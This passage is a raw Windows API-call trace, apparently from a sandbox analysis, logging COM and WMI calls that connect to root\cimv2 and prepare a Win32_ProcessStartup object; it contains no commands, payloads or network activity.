[3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1bf77630) returned 0x0 [0075.477] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf77630, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0075.477] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf77630, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bf6f7a0) returned 0x0 [0075.477] WbemDefPath:IUnknown:Release (This=0x1bf77630) returned 0x0 [0075.477] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f7a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bf6f7a0) returned 0x0 [0075.477] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f7a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0075.478] WbemDefPath:IUnknown:AddRef (This=0x1bf6f7a0) returned 0x3 [0075.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f7a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0075.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f7a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0075.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f7a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1bf77670) returned 0x0 [0075.478] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf77670, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0075.478] WbemDefPath:IUnknown:Release (This=0x1bf77670) returned 0x3 [0075.478] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0075.478] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0075.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f7a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0075.478] WbemDefPath:IUnknown:Release (This=0x1bf6f7a0) returned 0x2 [0075.478] WbemDefPath:IUnknown:Release (This=0x1bf6f7a0) returned 0x1 [0075.478] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0075.479] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0075.479] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f7a0, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bf6f7a0) returned 0x0 [0075.479] WbemDefPath:IUnknown:AddRef (This=0x1bf6f7a0) returned 0x3 [0075.479] WbemDefPath:IUnknown:Release (This=0x1bf6f7a0) returned 0x2 [0075.479] WbemDefPath:IWbemPath:SetText (This=0x1bf6f7a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0075.479] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f7a0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0075.479] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f7a0, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0075.479] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f7a0, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0075.479] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0075.479] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0075.479] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0075.479] IUnknown:Release (This=0x111f638) returned 0x1 [0075.480] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1bf77770) returned 0x0 [0075.480] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77770, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0075.481] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bf77770, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1bf77790) returned 0x0 [0075.481] WbemLocator:IUnknown:Release (This=0x1bf77770) returned 0x0 [0075.481] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77790, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1bf77790) returned 0x0 [0075.481] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77790, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0075.481] WbemLocator:IUnknown:AddRef (This=0x1bf77790) returned 0x3 [0075.481] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77790, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0075.481] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77790, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0075.481] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77790, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0075.481] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0075.482] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0075.482] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77790, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0075.482] WbemLocator:IUnknown:Release (This=0x1bf77790) returned 0x2 [0075.482] WbemLocator:IUnknown:Release (This=0x1bf77790) returned 0x1 [0075.482] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0075.482] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0075.482] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77790, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1bf77790) returned 0x0 [0075.482] WbemLocator:IUnknown:AddRef (This=0x1bf77790) returned 0x3 [0075.482] WbemLocator:IUnknown:Release (This=0x1bf77790) returned 0x2 [0075.482] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f7a0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0075.482] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f7a0, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0075.482] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f7a0, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0075.482] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1bf777b0) returned 0x0 [0075.482] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bf777b0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bf8b3b0) returned 0x0 [0075.713] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf8b3b0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x1bf96120) returned 0x0 [0075.713] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf96120, pProxy=0x1bf8b3b0, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0075.713] WbemLocator:IUnknown:Release (This=0x1bf96120) returned 0x1 [0075.713] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf8b3b0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x1bf96160) returned 0x0 [0075.714] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf8b3b0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf96120) returned 0x0 [0075.714] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf96120, pProxy=0x1bf8b3b0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0075.714] WbemLocator:IUnknown:Release (This=0x1bf96120) returned 0x2 [0075.714] WbemLocator:IUnknown:Release (This=0x1bf96160) returned 0x1 [0075.714] CoTaskMemFree (pv=0x11f1250) [0075.715] WbemLocator:IUnknown:AddRef (This=0x1bf8b3b0) returned 0x2 [0075.715] WbemLocator:IUnknown:Release (This=0x1bf777b0) returned 0x0 [0075.716] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0075.718] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0075.718] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf8b3b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x1bf96130) returned 0x0 [0075.718] WbemLocator:IRpcOptions:Query (in: This=0x1bf96130, pPrx=0x1bf77810, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0075.718] WbemLocator:IUnknown:Release (This=0x1bf96130) returned 0x2 [0075.718] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0075.718] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0075.719] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf8b3b0, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bf8b3b0) returned 0x0 [0075.719] WbemLocator:IUnknown:Release (This=0x1bf8b3b0) returned 0x2 [0075.719] SysStringLen (param_1=0x0) returned 0x0 [0075.719] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f6e0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0075.719] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f6e0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0075.720] IWbemServices:GetObject (in: This=0x1bf8b3b0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x11efb10, ppCallResult=0x0) returned 0x0 [0075.723] IWbemClassObject:Get (in: This=0x11efb10, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0075.723] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0075.724] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0075.724] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0075.724] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0075.724] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0075.724] IUnknown:Release (This=0x111f638) returned 0x1 [0075.727] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1bf777b0) returned 0x0 [0075.727] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf777b0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0075.727] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf777b0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bf6f860) returned 0x0 [0075.728] WbemDefPath:IUnknown:Release (This=0x1bf777b0) returned 0x0 [0075.728] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f860, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bf6f860) returned 0x0 [0075.728] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f860, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0075.728] WbemDefPath:IUnknown:AddRef (This=0x1bf6f860) returned 0x3 [0075.728] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f860, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0075.729] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f860, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0075.729] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f860, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1bf777d0) returned 0x0 [0075.729] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf777d0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0075.729] WbemDefPath:IUnknown:Release (This=0x1bf777d0) returned 0x3 [0075.729] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0075.729] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0075.729] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f860, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0075.729] WbemDefPath:IUnknown:Release (This=0x1bf6f860) returned 0x2 [0075.729] WbemDefPath:IUnknown:Release (This=0x1bf6f860) returned 0x1 [0075.729] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0075.729] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0075.729] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f860, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bf6f860) returned 0x0 [0075.730] WbemDefPath:IUnknown:AddRef (This=0x1bf6f860) returned 0x3 [0075.730] WbemDefPath:IUnknown:Release (This=0x1bf6f860) returned 0x2 [0075.730] WbemDefPath:IWbemPath:SetText (This=0x1bf6f860, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0075.730] IWbemClassObject:Get (in: This=0x11efb10, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a2f378*=0, plFlavor=0x2a2f37c*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a2f378*=19, plFlavor=0x2a2f37c*=0) returned 0x0 [0075.732] IWbemClassObject:Get (in: This=0x11efb10, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a2f378*=19, plFlavor=0x2a2f37c*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a2f378*=19, plFlavor=0x2a2f37c*=0) returned 0x0 [0075.733] IWbemClassObject:Put (This=0x11efb10, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0075.733] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f620, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0075.733] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0075.733] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0075.733] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0075.733] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0075.733] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 